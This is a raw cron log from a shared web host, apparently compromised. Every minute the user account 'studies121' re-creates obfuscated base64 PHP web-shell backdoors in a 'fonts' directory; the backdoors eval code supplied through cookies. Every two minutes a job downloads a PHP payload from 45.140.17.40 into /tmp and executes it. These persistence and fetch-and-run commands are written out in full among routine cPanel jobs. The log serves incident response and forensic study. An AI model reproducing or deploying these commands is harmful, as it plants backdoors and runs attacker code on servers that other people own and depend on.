Sep 12 00:04:01 ip-184-168-122-23 CROND[25105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:05:01 ip-184-168-122-23 CROND[25292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:05:01 ip-184-168-122-23 CROND[25294]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 00:05:01 ip-184-168-122-23 CROND[25295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:05:01 ip-184-168-122-23 CROND[25296]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:05:01 ip-184-168-122-23 CROND[25297]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 00:05:01 ip-184-168-122-23 CROND[25298]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 00:05:01 ip-184-168-122-23 CROND[25301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:06:01 ip-184-168-122-23 CROND[25388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:06:01 ip-184-168-122-23 CROND[25390]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 00:06:01 ip-184-168-122-23 CROND[25392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:06:01 ip-184-168-122-23 CROND[25394]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:06:01 ip-184-168-122-23 CROND[25395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:07:01 ip-184-168-122-23 CROND[25482]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:07:01 ip-184-168-122-23 CROND[25483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:07:01 ip-184-168-122-23 CROND[25485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:07:01 ip-184-168-122-23 CROND[25486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:08:01 ip-184-168-122-23 CROND[25567]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:08:01 ip-184-168-122-23 CROND[25568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:08:01 ip-184-168-122-23 CROND[25570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:08:01 ip-184-168-122-23 CROND[25569]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 00:08:01 ip-184-168-122-23 CROND[25572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:09:01 ip-184-168-122-23 CROND[25671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:09:01 ip-184-168-122-23 CROND[25674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:09:01 ip-184-168-122-23 CROND[25670]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:09:01 ip-184-168-122-23 CROND[25673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:09:01 ip-184-168-122-23 CROND[25675]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 00:10:01 ip-184-168-122-23 CROND[25870]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 00:10:01 ip-184-168-122-23 CROND[25871]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 00:10:01 ip-184-168-122-23 CROND[25876]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:10:01 ip-184-168-122-23 CROND[25875]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 00:10:01 ip-184-168-122-23 CROND[25874]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 00:10:01 ip-184-168-122-23 CROND[25882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:10:01 ip-184-168-122-23 CROND[25883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:10:01 ip-184-168-122-23 CROND[25884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:11:01 ip-184-168-122-23 CROND[25982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:11:01 ip-184-168-122-23 CROND[25985]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:11:01 ip-184-168-122-23 CROND[25984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:11:01 ip-184-168-122-23 CROND[25986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:12:01 ip-184-168-122-23 CROND[26077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:12:01 ip-184-168-122-23 CROND[26078]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 00:12:01 ip-184-168-122-23 CROND[26079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:12:01 ip-184-168-122-23 CROND[26081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:12:01 ip-184-168-122-23 CROND[26082]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:13:01 ip-184-168-122-23 CROND[26166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:13:01 ip-184-168-122-23 CROND[26168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:13:01 ip-184-168-122-23 CROND[26169]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:13:01 ip-184-168-122-23 CROND[26170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:14:01 ip-184-168-122-23 CROND[26262]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:14:01 ip-184-168-122-23 CROND[26264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:14:01 ip-184-168-122-23 CROND[26265]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 00:14:01 ip-184-168-122-23 CROND[26266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:14:01 ip-184-168-122-23 CROND[26267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:15:01 ip-184-168-122-23 CROND[26358]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:15:01 ip-184-168-122-23 CROND[26360]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 12 00:15:01 ip-184-168-122-23 CROND[26361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:15:01 ip-184-168-122-23 CROND[26365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:15:01 ip-184-168-122-23 CROND[26362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:15:01 ip-184-168-122-23 CROND[26363]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 00:15:01 ip-184-168-122-23 CROND[26364]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 12 00:15:01 ip-184-168-122-23 CROND[26367]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 00:16:01 ip-184-168-122-23 CROND[26574]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:16:01 ip-184-168-122-23 CROND[26577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:16:01 ip-184-168-122-23 CROND[26580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
